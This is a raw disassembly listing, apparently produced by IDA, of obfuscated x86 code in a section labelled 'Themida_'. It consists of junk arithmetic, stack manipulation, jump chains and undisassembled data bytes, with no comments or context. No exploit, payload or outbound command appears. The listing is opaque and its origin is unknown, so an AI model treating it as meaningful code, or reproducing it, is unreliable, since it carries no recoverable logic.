sub dword ptr [esp], 0F390764h
add dword ptr [esp], 7E144299h
mov ebx, [esp]
jmp loc_54E8AC
; ---------------------------------------------------------------------------
dd 47A7ED81h, 0B1E97F93h, 55FFFF63h, 0F435DFBDh, 8BCFE94Eh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_559842: ; CODE XREF: Themida_:0055F793j
pop eax
add ebp, 4
xchg ebp, [esp]
pop esp
sub esp, 2
mov [esp], ax
jmp loc_54E7A5
; ---------------------------------------------------------------------------
db 89h, 1Ch, 24h
dd 95E982B7h, 29FFFF76h, 68E95DE8h
db 5Bh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55986B: ; CODE XREF: Themida_:00554BE3j
push edx
push 546177A4h
pop edx
push ebx
mov ebx, 3C8F2D05h
shr ebx, 4
shr ebx, 3
push esi
mov esi, 766E5B15h
jmp loc_555339
; ---------------------------------------------------------------------------
db 66h, 8Bh, 0Ch
dd 4EC8324h, 89240489h, 97BF57E0h, 51753546h, 0B33CCBB9h
dd 224EE932h, 81590000h, 4C1h, 7BE7E900h, 89500000h, 405E0h
dd 42D0000h, 87000000h, 895C2404h, 0E6892434h, 4C681h
dd 0E9510000h, 0FFFFB905h
; ---------------------------------------------------------------------------
loc_5598D4: ; CODE XREF: Themida_:005616B3j
xchg eax, edx
jmp loc_55C21B
; ---------------------------------------------------------------------------
dw 0B951h
dd 4, 8759CF01h, 515C243Ch, 4C6C07B9h, 9BE1816Ch, 41573575h
dd 348C181h, 0EA81329Eh, 657A3135h, 51E9CA29h
db 37h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_559907: ; CODE XREF: Themida_:0055F300j
pop ebp
jmp loc_5570FD
; ---------------------------------------------------------------------------
db 89h, 2Ch, 24h
dd 2C968h, 24048900h, 4ABCE9h
db 0
; ---------------------------------------------------------------------------
loc_55991D: ; CODE XREF: Themida_:00557BBCj
pop edi
push dword ptr [esp]
pop eax
push edi
push esp
pop edi
add edi, 4
add edi, 4
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
mov esp, [esp]
add eax, 4
push ebx
push ebp
push 3A51038Ch
pop ebp
push edi
mov edi, 59647972h
shl edi, 6
neg edi
sub edi, 0E132A708h
jmp loc_5574A3
; ---------------------------------------------------------------------------
loc_559960: ; CODE XREF: Themida_:005616CBj
mov dl, 41h
neg dl
or dl, 0E0h
push bx
jmp loc_55CD48
; ---------------------------------------------------------------------------
dw 7F68h
dd 89000015h, 6CE9242Ch, 68000024h, 78B8h, 68243489h, 5D077761h
dd 5CCE815Eh, 8150762Eh, 69F41CC6h, 8BF789ECh, 0C4812434h
dd 4, 5F5FFB29h, 314C381h, 0BF574E72h, 7E8A62E5h, 7E29F781h
dd 0C78139DDh, 77EE0F4Fh, 0E906EFC1h, 0FFFFCE74h, 24442966h
dd 0E9586602h, 0FFFFCD2Bh, 0E9240C89h, 0FFFFC48Ch, 240C8B66h
dd 0FF68B8E9h, 0FE690CFFh, 0D5BBE9C8h, 815AFFFFh, 4C2h
dd 4C28300h, 2474FF52h, 48F5A04h, 24248B24h, 2B1F68h, 241C8900h
dd 1BD468h, 24148900h, 0D2F6C6B2h, 8310E280h, 1C8904ECh
dd 63B324h, 0D4B75BDAh, 148BD730h, 0AAEBE924h, 8B66FFFFh
dd 89512404h, 41BA52E1h, 0C1352D01h, 0C28308E2h, 527AE901h
dd 0E089FFFFh, 405h, 4B31E900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_559A52: ; CODE XREF: Themida_:0055E3C2j
add eax, 1E701260h
pop esi
mov ecx, [esp]
add esp, 4
xor ebx, eax
jmp loc_561ED1
; ---------------------------------------------------------------------------
dd 2474FF57h, 48F5F04h, 0F3CEE924h, 3433FFFFh, 24343124h
dd 8B243433h, 0E0682424h, 89000074h, 36E92404h, 31FFFF43h
dd 31C131C8h, 0BB5359C8h, 1B597E95h, 5D96E9h, 30DEB400h
dd 0F6F7E9ECh, 9668FFFFh, 5A2BBA51h, 81E2D14Ah, 1538C8C2h
dd 65BE5644h, 0E983DEB9h, 0FFFFA339h
; ---------------------------------------------------------------------------
loc_559AC4: ; CODE XREF: Themida_:0054DE2Aj
pop edi
xor eax, 29F5186Eh
xor eax, 797A66B6h
push 2E3Ah
mov [esp], eax
pop esi
jmp loc_5525CC
; ---------------------------------------------------------------------------
db 1, 0EEh, 81h
dd 7B43C5C6h, 242C8B2Ah, 5204C483h, 2B68E289h, 8900000Ah
dd 4BD242Ch, 1000000h, 242C8BEAh, 8104C483h, 4EAh, 0C3CAE900h
dd 0C281FFFFh, 21D9A5CBh, 0BAE9D031h, 66000007h, 0E924048Bh
dd 0FFFF9C51h, 5C240C87h, 2C581h, 0FF550000h, 8B042474h
dd 0C483242Ch, 0F4F1E904h, 5451FFFFh, 0FF53FBE9h, 24148BFFh
dd 565D5455h, 0FF6AFDE9h, 404BDFFh, 0C501E9D2h, 0C1DDF758h
dd 0EC8303E5h, 241C8904h, 0A75C7FBBh, 0E9DBF730h, 0FFFFD961h
dd 81D3F759h, 947D17EBh, 0E9D82972h, 0FFFFB9A4h
; ---------------------------------------------------------------------------
loc_559B80: ; CODE XREF: Themida_:0056142Cj
mov edi, 61D30EF9h
shr edi, 4
shl edi, 3
push esi
mov esi, 264564B3h
add edi, esi
jmp loc_5575F4
; ---------------------------------------------------------------------------
dd 6857515Ch, 1BD665E8h
db 8Bh, 3Ch, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ebx
mov ebx, 4
add ebp, ebx
jmp loc_55E707
; ---------------------------------------------------------------------------
loc_559BB3: ; CODE XREF: Themida_:005504E5j
push edx
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp]
pop esp
jmp loc_5500CA
; ---------------------------------------------------------------------------
loc_559BCB: ; CODE XREF: Themida_:005502CDj
xor edi, [esp]
pop esp
xor bh, dh
mov dx, [esp]
add esp, 2
jmp loc_560F70
; ---------------------------------------------------------------------------
db 29h, 0F0h, 2Dh
dd 35A55776h, 5D54555Eh, 4C581h, 0ED810000h, 4, 5C242C87h
dd 0BF243C89h, 14517033h, 0FFFFC781h, 0A968FFFFh, 8900006Eh
dd 0E3BA2414h, 0E903E72Ah, 0FFFF6C24h, 4805E950h, 0CB81FFFFh
dd 15B60A83h, 0FFD124E9h, 46850FFh, 8B000000h, 89532404h
dd 0BB5357E3h, 6D1C5619h, 0F706E3C1h, 81DBF7D3h, 887E67CBh
dd 63F3815Dh, 0E95F9DFEh, 1D97h, 2474FF53h, 48F5B04h, 34895C24h
dd 527EBE24h, 0E9572404h, 0FFFFA9E9h, 81E38953h, 4C3h
dd 0DB71E900h, 0C381FFFFh, 1AC56B13h, 525BD801h, 77C2CFBAh
dd 5AD02925h, 8358C701h, 0BFE904EFh, 81000089h, 4C2h, 267EE900h
dd 0E9510000h, 6540h
; ---------------------------------------------------------------------------
loc_559CA8: ; CODE XREF: Themida_:00555744j
sub edx, 42F124C5h
mov eax, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
mov esp, [esp]
sub [edi+24h], edx
jmp loc_55F2A6
; ---------------------------------------------------------------------------
loc_559CCB: ; CODE XREF: Themida_:00561349j
mov edx, 6269145Ah
not edx
sub edx, 1FDF20F5h
sub edx, 107119CDh
and edx, 52C627A9h
add edx, 48704F20h
sub edx, 2D2C2C36h
add edi, edx
pop edx
add edi, 0FE4E2596h
mov ebx, edi
pop edi
sub ebx, 7B9378A4h
sub ebx, edx
add ebx, 7B9378A4h
push dword ptr [esp]
pop edx
add esp, 4
sub ebx, 1A1A518Fh
jmp loc_55EC55
; ---------------------------------------------------------------------------
dd 4C481h, 0C5830000h, 382B6804h, 2C890000h, 2474FF24h
dd 242C8B04h, 4C481h, 0A8E90000h, 0C0000013h, 0E98008E9h
dd 0F24CE9E2h, 685DFFFFh, 6944h, 49AAE9h
db 0
; ---------------------------------------------------------------------------
loc_559D55: ; CODE XREF: Themida_:0055026Dj
add [esp+4], edi
sub dword ptr [esp+4], 7E346ED4h
jmp loc_5546C4
; ---------------------------------------------------------------------------
loc_559D66: ; CODE XREF: Themida_:0055626Aj
add ebx, 4
add ebx, 4
push ebx
jmp loc_562152
; ---------------------------------------------------------------------------
db 5Eh, 81h, 0C4h
dd 4
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
push ebp
push dword ptr [esp+4]
jmp loc_5557E6
; ---------------------------------------------------------------------------
db 80h, 4, 24h
dd 243C8A86h, 6602C483h, 0B949E951h, 0E0C1FFFFh, 5BBA5207h
dd 290C0946h, 24148BD0h, 0FFD21BE9h, 0C18358FFh, 7FEBE904h
dd 77FF0000h, 19589D1Ch, 0E99C2404h, 0FFFF6595h, 8904EC83h
dd 0E954242Ch, 0FFFFBD49h, 1F5EBD55h, 0EB2162ABh, 35BDE95Dh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_559DEA: ; CODE XREF: Themida_:0055D2D9j
mov ecx, esi
pop esi
jmp loc_54DDCB
; ---------------------------------------------------------------------------
dw 348Bh
dd 4C48124h, 55000000h, 0FFA1DBE9h, 8E948FFh, 66FFFFEDh
dd 52240C8Bh, 0C281E289h, 4, 3304EA83h, 14312414h, 24143324h
dd 240C895Ch, 1C7068h, 48F5400h, 24048124h, 4, 592434FFh
dd 4C481h, 0DA680000h, 0E9000053h, 0FFFF9A25h, 0FFFFEF81h
dd 5352FFFFh, 0EF6DEABBh, 5FD0E9F0h, 0E950FFFFh, 32A0h
dd 0EE5543BDh, 4EEB816Ch, 0E9695243h, 0FFFFA6D2h
; ---------------------------------------------------------------------------
loc_559E70: ; CODE XREF: Themida_:00560628j
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
mov esp, [esp]
or edx, eax
shl edx, 1
push 3857h
mov [esp], edx
push 5CE2h
mov [esp], eax
push edx
jmp loc_55CE82
; ---------------------------------------------------------------------------
dw 0B753h
dd 3042B5D4h, 0EDC05BFDh, 89E58008h, 8049E580h, 0EE00BBEDh
dd 4C6BE959h, 0C681FFFFh, 73083568h, 8B2434FFh, 0C481241Ch
dd 4, 8904EC83h, 0E189240Ch, 4C181h, 0A5E90000h
db 7Fh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_559EE3: ; CODE XREF: Themida_:0055A267j
pop ebx
xor edx, [esp]
xor [esp], edx
jmp loc_55DD9D
; ---------------------------------------------------------------------------
db 66h
dd 5024048Bh, 405E089h, 2D000000h, 4, 2474FF50h, 7E95804h
dd 28FFFF82h, 2E43E9C8h, 802D0000h, 19DC903h, 59EEE9C3h
dd 11BEFFFFh, 0E960A971h, 225h, 81240C8Bh, 4C4h, 559EE900h
dd 0F5010000h, 2A00C581h, 7DE95783h, 51000007h, 4B9h, 59C88900h
dd 2142E9h
db 0
; ---------------------------------------------------------------------------
loc_559F51: ; CODE XREF: Themida_:00562662j
push 1250h
mov [esp], ebp
mov ebp, 6AE72351h
neg ebp
push ecx
mov ecx, 0FFFFFFFFh
sub ebp, ecx
pop ecx
xor ebp, 9518DCB0h
sub ebp, ebx
xchg ebp, ebx
jmp loc_55CF43
; ---------------------------------------------------------------------------
dd 8650EDB4h, 0F601247Ch, 247C86D7h, 0DCF65801h, 68F9E480h
dd 4CBAh, 0E9240C89h, 0FFFFB9E1h, 815AD301h, 0EBF68EF3h
dd 5BD9013Bh, 0FFD0F0E9h, 747668FFh, 0C890000h, 52E18924h
dd 4BAh, 5AD10100h, 0FFD1C5E9h, 0E932FFFFh, 0FFFF3DFDh
dd 55241489h, 3C1ABD66h, 81665566h, 4DB2434h, 0FF8114E9h
dd 5BDA89FFh, 4D5AD531h, 5CF5BB53h, 0EBC1667Fh, 99C38108h
dd 4367383Eh, 0EB81DBF7h, 13884A7Bh, 0CA58EB81h, 0DD013254h
dd 1E4FE9h, 24248B00h, 8904EC83h, 2BB241Ch, 0E9000000h
dd 0FFFF6334h, 0E9240C87h, 0FFFFE4A1h, 0E9EB875Fh, 0FFFF94C6h
dd 38A2CA81h, 0CA8125B9h, 1051735Eh, 0FF782DE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55A03D: ; CODE XREF: Themida_:0055BE4Dj
pop edi
add edx, edi
push 2E2Fh
mov [esp], esi
mov esi, 0
jmp loc_5583FE
; ---------------------------------------------------------------------------
loc_55A052: ; CODE XREF: Themida_:00551E1Dj
push ebx
push eax
mov eax, 36807CBCh
xor eax, 67822CBh
jmp loc_560EB9
; ---------------------------------------------------------------------------
db 66h
dd 68240C8Bh, 0ECEh, 7907E9h, 24448100h, 0AD3A9504h, 2A74E94Dh
dd 78040000h, 0FFBBF3E9h, 0E9DEF7FFh, 2475h
; ---------------------------------------------------------------------------
loc_55A08C: ; CODE XREF: Themida_:00554F37j
push edx
mov dh, 36h
add dh, 6
dec dh
xor dh, 35h
jmp loc_558489
; ---------------------------------------------------------------------------
dd 0B73C581h, 0C501086Ch, 0B73ED81h, 48B086Ch, 4C48324h
dd 4BB53h, 0DD290000h, 0FFC1EDE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55A0BD: ; CODE XREF: Themida_:005531FCj
add ebp, 16208A8h
sub ebp, 0C408C5F3h
or esi, ebp
pop ebp
not esi
inc esi
push ecx
push 1402353h
jmp loc_554C1F
; ---------------------------------------------------------------------------
loc_55A0DA: ; CODE XREF: Themida_:0055E864j
mov edx, [esp]
add esp, 4
jmp loc_55796D
; ---------------------------------------------------------------------------
db 0FFh, 74h, 24h
dd 48F5F04h, 4335C24h, 24043124h, 3901E9h, 0E6895600h
dd 4C681h, 0C6810000h, 4, 0E9243487h, 0FFFF54E2h, 0F960E95Ah
dd 875DFFFFh, 4EE368EEh, 82E90000h, 4BFFFF4Ch, 37E6EB81h
dd 0DD89590Fh, 636E055Bh, 0E8296258h, 58636E2Dh, 242C8B62h
dd 4C481h, 4330000h, 24043124h, 6E7DE9h, 24742900h, 0B9515E08h
dd 5B9A2569h, 8244C29h, 24148B59h, 4C481h, 31E90000h, 89FFFF5Dh
dd 322D5EF0h, 1231525h, 253205D0h, 28892315h, 8324048Bh
dd 5A5D04C4h, 0E92434FFh, 0FFFFB93Ah
; ---------------------------------------------------------------------------
loc_55A18C: ; CODE XREF: Themida_:00557123j
push dword ptr [esp]
pop ebx
push eax
mov eax, esp
push edx
mov edx, 4
sub eax, 9BE5EEBh
add eax, edx
jmp loc_55DF18
; ---------------------------------------------------------------------------
db 31h, 0F5h, 31h
dd 0F7F531EEh, 0BAB6E9DEh, 0B450FFFFh, 58E228FFh, 88EBEA80h
dd 7C7CE9D3h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55A1C2: ; CODE XREF: Themida_:00561817j
mov [esp], ebx
pop dword ptr [edi+20h]
push dword ptr [esp]
pop ebx
add esp, 4
sub esp, 4
mov [esp], edx
sub esp, 4
mov [esp], edi
push 3D9A4139h
pop edi
shl edi, 2
push ecx
mov ecx, 79C86484h
dec ecx
push esi
push ebp
jmp loc_56024E
; ---------------------------------------------------------------------------
db 89h
dd 4BD55E2h, 0E9000000h, 5443h, 63B6F581h, 0F5816815h
dd 47483E86h, 0FFF328E9h, 4BBFFh, 82E90000h
db 0E7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55A223: ; CODE XREF: Themida_:00561ACAj
mov esi, [esp]
push esi
jmp loc_55D3D6
; ---------------------------------------------------------------------------
dd 79E9E6D1h, 45FFFF82h, 0C7A0E951h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55A23A: ; CODE XREF: Themida_:00557CBFj
pop ecx
mov ecx, [esp]
add esp, 4
jmp loc_554749
; ---------------------------------------------------------------------------
db 5Ch, 89h, 1Ch
dd 499AE924h, 50ADFFFFh, 0FFD5D9E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55A259: ; CODE XREF: Themida_:00556DC0j
add edx, 4
push ebx
mov ebx, 4
sub edx, ebx
jmp loc_559EE3
; ---------------------------------------------------------------------------
aZIspy db '‡<$\)ëé¯Y',0
dw 8300h
dd 0C68304C4h, 5EAFE904h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55A282: ; CODE XREF: Themida_:005547BEj
or ebp, 36513C70h
or ebp, 17675660h
add ebp, 0B2734E57h
jmp loc_55DF33
; ---------------------------------------------------------------------------
loc_55A299: ; CODE XREF: Themida_:00551681j
mov ecx, 43B853CEh
push ecx
inc dword ptr [esp]
mov ecx, [esp]
add esp, 4
inc ecx
jmp loc_54E9C7
; ---------------------------------------------------------------------------
db 52h, 0BAh, 0FAh
dd 0E9634664h, 0FFFFC2D0h, 24048B66h, 709C68h, 242C8900h
dd 0EC83E589h, 24148904h, 0FFBA91E9h, 24148BFFh, 6804C483h
dd 31A1h, 0E9240489h, 0FFFFBF37h, 0FF5BFD88h, 68582434h
dd 1AE4h, 5054E9h, 948BB00h, 0D3F70571h, 64EF381h, 0EBC129C3h
dd 73E38102h, 8133EE52h, 0BAFBDAC3h, 5BD98914h, 26C9EB81h
dd 0CB011434h, 26C9C381h, 1591434h, 0CEB81CBh, 0FF457D4Ch
dd 83592434h, 0B85004C4h, 649008BBh, 767BE9h, 53ED8100h
dd 5A4E7D36h, 8904EC83h, 24E92434h
db 0AEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55A353: ; CODE XREF: Themida_:0055A5F0j
mov eax, [esp]
add esp, 4
push dword ptr [esp]
jmp loc_55E08E
; ---------------------------------------------------------------------------
loc_55A364: ; CODE XREF: Themida_:00558016j
mov [esp], eax
mov eax, 609D728Dh
add eax, 66C54612h
inc eax
or eax, 2D1E03D5h
not eax
xor eax, 46FD64DBh
mov ebx, eax
pop eax
shl ebx, 7
jmp loc_5581F2
; ---------------------------------------------------------------------------
db 66h, 29h, 0D0h
dd 275A2D66h, 4F660566h, 0BB66535Ah, 0C8E964E0h
db 72h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55A39F: ; CODE XREF: Themida_:0055A91Fj
push edi
mov edi, 42166D08h
jmp loc_557FBB
; ---------------------------------------------------------------------------
dw 0F2BFh
a45erU8bQzgbtl4 db '45eRºî',0Bh,'-8Ê¿QZgâ‹4Â2PéÐN',0
db 0
; ---------------------------------------------------------------------------
loc_55A3C7: ; CODE XREF: Themida_:00550B03j
mov [esp], esi
push esi
push esp
mov esi, [esp]
jmp loc_54E432
; ---------------------------------------------------------------------------
dd 6598BF57h, 0F829116Ch, 0E92434FFh, 3AA3h
; ---------------------------------------------------------------------------
loc_55A3E4: ; CODE XREF: Themida_:0054EEEBj
sub ebp, 676C020Dh
jmp loc_560AE0
; ---------------------------------------------------------------------------
db 5Ch
dd 31240C33h, 0C33240Ch, 557BE924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55A3FE: ; CODE XREF: Themida_:00552D0Dj
mov [esp], edi
push edx
mov edx, 3D247CC1h
add edx, 0FFFFFFFFh
add edx, 0BD7577Dh
inc edx
add edx, 0DB408AC7h
mov edi, edx
mov edx, [esp]
add esp, 4
sub edx, edi
pop edi
sub edx, 0FFFFFFFFh
add edx, 10D93875h
sub edi, edx
jmp loc_55BD7E
; ---------------------------------------------------------------------------
db 4, 94h, 68h
dd 6DAEh, 19ECE9h, 40500h, 4050000h, 87000000h, 0E95C2404h
dd 7AAAh
; ---------------------------------------------------------------------------
loc_55A454: ; CODE XREF: Themida_:00558C1Aj
mov edi, 85B92FCh
jmp loc_556C28
; ---------------------------------------------------------------------------
dw 0BA52h
dd 4, 64E9D501h
db 0E6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55A46B: ; CODE XREF: Themida_:0055DAC1j
mov ebp, 32C176FDh
sub edi, 495A6C42h
sub edi, ebp
add edi, 495A6C42h
pop ebp
jmp loc_54FCA0
; ---------------------------------------------------------------------------
loc_55A484: ; CODE XREF: Themida_:0055D50Aj
add ebx, edi
jmp loc_5614D2
; ---------------------------------------------------------------------------
loc_55A48B: ; CODE XREF: Themida_:0054FDE6j
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
jmp loc_5623AE
; ---------------------------------------------------------------------------
db 29h, 0D8h, 5Bh
dd 502E8C1h, 7E5951B1h, 8E118D25h, 1D68516Eh, 594EF559h
dd 0E981D1F7h, 32897B9Fh, 6F0DC82Dh, 50C9E909h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55A4CA: ; CODE XREF: Themida_:00554D97j
add edi, 4
xchg edi, [esp]
mov esp, [esp]
jmp loc_553DC8
; ---------------------------------------------------------------------------
db 89h
dd 74FF243Ch, 8F5F0424h, 0ADE92404h, 0BBFFFFF2h, 1ACB557Bh
dd 1C9C7BDh, 8BDD2934h, 0C481241Ch, 4, 4246C01h, 83242C8Bh
dd 2C8104C4h, 0BE39B124h, 2404811Dh, 3FDB0768h, 2A94E9h
dd 24048B00h, 4C481h, 25E90000h
db 3Fh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55A52B: ; CODE XREF: Themida_:0055BB79j
sub ebp, eax
pop eax
sub ecx, ebp
pop ebp
add ecx, 67613883h
add ecx, eax
push 4ACCh
mov [esp], ebx
mov ebx, 67613883h
sub ecx, ebx
pop ebx
push eax
mov eax, 0B7D1ABCh
neg eax
jmp loc_5627F8
; ---------------------------------------------------------------------------
dw 0C381h
dd 4, 3304C383h, 1C31241Ch, 241C3324h, 8124248Bh, 4C5h
dd 2B95100h, 0E9000000h, 0FFFFDC46h, 0C888F988h, 241C8B59h
dd 4C481h, 0C3880000h, 0E92434FFh, 7828h, 56F6815Eh, 0E9588912h
dd 0FFFFFBCBh
; ---------------------------------------------------------------------------
loc_55A5A0: ; CODE XREF: Themida_:00554280j
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], ebx
push edi
push ecx
mov ecx, 4C507562h
jmp loc_55D22B
; ---------------------------------------------------------------------------
loc_55A5C2: ; CODE XREF: Themida_:0054E283j
add bl, 32h
add bl, 0DEh
jmp loc_55AD9C
; ---------------------------------------------------------------------------
loc_55A5CD: ; CODE XREF: Themida_:0055D418j
sub esi, eax
pop eax
push 2643h
mov [esp], esi
push dword ptr [esp+4]
mov esi, [esp]
jmp loc_558339
; ---------------------------------------------------------------------------
loc_55A5E4: ; CODE XREF: Themida_:005504F6j
add eax, ebp
pop ebp
add eax, ebx
sub eax, 399A169Bh
mov ecx, [eax]
jmp loc_55A353
; ---------------------------------------------------------------------------
loc_55A5F5: ; CODE XREF: Themida_:0055546Bj
pop esp
add eax, 451C6C3Fh
sub eax, edx
push 91Bh
mov [esp], ebx
jmp loc_550137
; ---------------------------------------------------------------------------
dw 8145h
dd 0D01404CDh, 36C5811Dh, 0E96C5111h, 0FFFF87AEh
; ---------------------------------------------------------------------------
loc_55A61C: ; CODE XREF: Themida_:00555D4Bj
add ebx, 13155003h
jmp loc_5569E6
; ---------------------------------------------------------------------------
db 81h
dd 0B330FEF2h, 3CC7819Fh, 81139D3Dh, 3603D8C7h, 81D7016Fh
dd 3603D8EFh, 95BE566Fh, 0E927C960h, 4D5Ch, 0E9243C89h
dd 0FFFFED00h
; ---------------------------------------------------------------------------
loc_55A654: ; CODE XREF: Themida_:00552AEDj
pop ecx
or eax, eax
jmp loc_555F4F
; ---------------------------------------------------------------------------
dd 51667F24h, 0E800EFB5h, 240C8B66h, 6802C483h, 2C8Fh
dd 52241C89h, 0D388C288h, 8BDD885Ah, 0E951241Ch, 0FFFF9E7Bh
dd 14EE815Eh, 59014F27h, 335EF001h, 4312404h, 24043324h
dd 0D224248Bh, 0E99C243Ch, 0FFFF3721h, 106EE81h, 0C8B4807h
dd 4EC8324h, 89240C89h, 38BB53E1h, 0E9590C3Bh, 0FFFFD655h
dd 4BE565Eh, 1000000h, 64E95EF5h, 8B000045h, 0C4832404h
dd 242C3304h, 33242C31h, 0E7E9242Ch, 1FFFFE0h, 7430E9DDh
dd 5C88FFFFh, 0E95B0187h, 0FFFF36D1h, 0BD55FE01h, 502E376Fh
dd 0FF76D3E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55A701: ; CODE XREF: Themida_:00561D5Ej
push dword ptr [esp]
pop ecx
add esp, 4
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], ebp
jmp loc_55DC1D
; ---------------------------------------------------------------------------
db 0BFh
dd 25A11900h, 2AB7BA52h, 0EA811658h, 0F0B711B3h, 0FF4394E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55A739: ; CODE XREF: Themida_:0055657Aj
xor ecx, 0DAAF2863h
push esi
mov esi, ecx
mov edi, esi
jmp loc_55DF77
; ---------------------------------------------------------------------------
db 83h, 0C4h, 4
dd 30ADE9h
db 0
; ---------------------------------------------------------------------------
loc_55A751: ; CODE XREF: Themida_:00555FBFj
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
mov esp, [esp]
push ebx
jmp loc_560B63
; ---------------------------------------------------------------------------
dd 4B8505Dh, 1000000h, 0E95258C5h, 0FFFFEA83h, 0D2CFE95Fh
dd 2C8BFFFFh, 4C48124h, 68000000h, 68A0h, 4034E9h, 716D0500h
dd 0FBE9024Fh, 81FFFF72h, 4C3h, 4C38100h, 87000000h, 248B241Ch
dd 6D32E924h, 0E95B0000h, 0FFFF9CF1h
; ---------------------------------------------------------------------------
loc_55A7BC: ; CODE XREF: Themida_:0055828Cj
mov [esp], ebx
push ecx
jmp loc_54EAD4
; ---------------------------------------------------------------------------
loc_55A7C5: ; CODE XREF: Themida_:0055C81Aj
xchg ebp, [esp]
jmp loc_55148C
; ---------------------------------------------------------------------------
loc_55A7CD: ; CODE XREF: Themida_:0055E2A5j
pop edi
add edx, ebp
push 19FEh
jmp loc_5564D1
; ---------------------------------------------------------------------------
loc_55A7DA: ; CODE XREF: Themida_:005554D7j
xchg edx, [esp]
pop esp
mov [esp], esi
push 8000h
mov esi, [esp]
jmp loc_56116E
; ---------------------------------------------------------------------------
aBim31Phmr db 'ëM3ÓË1Ù[Ph¬R',0
dd 24348900h, 0FFCA4CE9h, 440B68FFh, 3C890000h, 81E78924h
dd 4C7h, 4EF8100h, 68000000h, 11A5h, 0FF243C89h, 5F042474h
dd 0FFC382E9h, 48B66FFh, 4EC8324h, 89243489h, 4C681E6h
dd 83000000h, 0FF5604EEh, 5E042474h, 5C24048Fh, 406BE9h
dd 4C48300h, 4C381h, 2FE90000h
db 8Fh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55A85F: ; CODE XREF: Themida_:00553558j
pop edx
add ebp, 16BC876Ah
jmp loc_561E81
; ---------------------------------------------------------------------------
db 0ADh
dd 3ABE951h, 335F0000h, 23E92434h, 0B9000066h, 4, 4756E9h
dd 0F612B600h, 1EE80DEh, 6CC680h, 7F14E9F0h, 0C781FFFFh
dd 0F31F93h, 0FF3A69E9h, 71EE81FFh, 5A21F155h, 4B951h
dd 0D5E90000h
db 0B0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55A8B3: ; CODE XREF: Themida_:0055B942j
mov [esp], edx
mov edx, 401E0E13h
xor eax, edx
jmp loc_54F181
; ---------------------------------------------------------------------------
aN1Ptxsf db '1ØPTXéf(',0
db 0
; ---------------------------------------------------------------------------
loc_55A8CD: ; CODE XREF: Themida_:0056025Cj
not eax
shr eax, 3
xor eax, 0A5B43B7Dh
sub esi, eax
mov eax, [esp]
add esp, 4
or ecx, esi
pop esi
neg ecx
add ecx, 0FFFFFFFFh
xor ecx, 96EF9B0Ah
jmp loc_55AA5E
; ---------------------------------------------------------------------------
dd 6824248Bh, 17CDh, 51241C89h, 802EE950h, 0E2890000h
dd 4C281h, 0C2830000h, 24148704h, 0FF43E0E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55A91D: ; CODE XREF: Themida_:0055B5A4j
pop edi
dec ebx
jmp loc_55A39F
; ---------------------------------------------------------------------------
loc_55A924: ; CODE XREF: Themida_:0055467Aj
neg eax
shl eax, 3
jmp loc_55FC3A
; ---------------------------------------------------------------------------
aDSjf db ')D$',8,'é†f',0
dw 5600h
dd 0EE38F0BEh, 5EF20103h, 24143358h, 33241431h, 248B2414h
dd 24040124h, 346FE99Ch, 0E1C1FFFFh, 54E98105h, 81202346h
dd 6137F5E1h, 0DABDE91Fh, 0D801FFFFh, 0F0312605h, 4335B4Fh
dd 24043124h, 8B240433h, 0E6E92424h
db 3Eh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55A983: ; CODE XREF: Themida_:00552B31j
mov al, bh
push ebp
mov ebp, esp
push edx
mov edx, 0E3715D6h
or edx, 1F6A517Dh
xor edx, 4FB835F8h
xor edx, 13E017BFh
shl edx, 5
sub edx, 11722D37h
add edx, 0AC83363Bh
add ebp, edx
pop edx
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], edx
mov dh, al
push eax
mov al, dh
mov ch, al
jmp loc_55E6F8
; ---------------------------------------------------------------------------
db 33h
dd 4312404h, 24043324h, 4C4835Ch, 0E924048Fh, 0FFFFBA6Eh
; ---------------------------------------------------------------------------
loc_55A9E0: ; CODE XREF: Themida_:00553687j
not edi
add edi, 7743F7CAh
jmp loc_556FAC
; ---------------------------------------------------------------------------
db 89h, 0E7h, 53h
dd 0FFCFBDE9h, 0C48159FFh, 4, 0B9665166h, 166720Ch, 6604244Ch
dd 0E9240C8Bh, 61Bh, 4A88C981h, 0E981592Ch, 7A8903C7h
dd 67DEF181h, 0C1816F79h, 7F6013B8h, 0EC3AE949h, 0C483FFFFh
dd 0E7E98104h, 0E9221F09h, 0FFFF358Bh, 80A3F180h, 7F049FF1h
